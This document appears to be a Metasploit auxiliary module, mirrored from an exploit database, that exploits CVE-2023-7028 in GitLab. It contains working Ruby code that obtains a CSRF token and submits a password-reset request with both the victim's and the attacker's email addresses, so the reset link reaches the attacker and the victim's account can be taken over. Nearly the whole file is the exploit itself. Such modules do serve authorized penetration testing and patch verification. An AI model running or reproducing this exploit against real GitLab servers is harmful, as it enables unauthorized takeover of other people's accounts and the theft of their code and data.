## https://sploitus.com/exploit?id=PACKETSTORM:180882
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'GitLab Password Reset Account Takeover',
'Description' => 'This module exploits an account-take-over vulnerability that allows users
to take control of a gitlab account without user interaction.
The vulnerability lies in the password reset functionality. Its possible to provide 2 emails
and the reset code will be sent to both. It is therefore possible to provide the e-mail
address of the target account as well as that of one we control, and to reset the password.
2-factor authentication prevents this vulnerability from being exploitable. There is no
discernable difference between a vulnerable and non-vulnerable server response.
Vulnerable versions include:
16.1 < 16.1.6,
16.2 < 16.2.9,
16.3 < 16.3.7,
16.4 < 16.4.5,
16.5 < 16.5.6,
16.6 < 16.6.4,
and 16.7 < 16.7.2.',
'Author' => [
'h00die', # msf module
'asterion04' # discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-7028'],
['URL', 'https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/'],
['URL', 'https://github.com/duy-31/CVE-2023-7028']
],
'DisclosureDate' => '2024-01-11',
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETEMAIL', [ true, 'The email address of the account to compromise' ]),
OptString.new('MYEMAIL', [ true, 'An email address to also send the password reset email to' ]),
OptString.new('TARGETURI', [true, 'The path to GitLab', '/'])
]
)
end
def run_host(_ip)
vprint_status('Obtaining CSRF token')
res = send_request_cgi(
'method' => 'GET',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri, 'users', 'sign_in')
)
fail_with(Failure::Unreachable, 'No response received') if res.nil?
fail_with(Failure::UnexpectedReply, 'Unable to find CSRF token') unless res.body =~ %r{<meta name="csrf-token" content="([^"]+)" />}
print_good("Received CSRF Token: #{::Regexp.last_match(1)}")
vprint_status('Sending password reset request')
email_field_equals = "#{CGI.escape('user[email][]')}="
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'users', 'password'),
'data' => [
"#{email_field_equals}#{CGI.escape(datastore['TARGETEMAIL'])}",
"#{email_field_equals}#{CGI.escape(datastore['MYEMAIL'])}",
"authenticity_token=#{::Regexp.last_match(1)}"
].join('&')
)
fail_with(Failure::Unreachable, 'No response received') if res.nil?
if res.code == 302
print_good("Sent, check #{datastore['MYEMAIL']} for a possible password reset link (failure is blind)")
elsif res.code == 422 || res.body.include?('The change you requested was rejected.') # happened when I ran module 3 times within a minute or so
print_bad('Request failed, server rejected. Try again later or a different user')
else
print_bad("Request failed, http code: #{res.code}")
end
end
end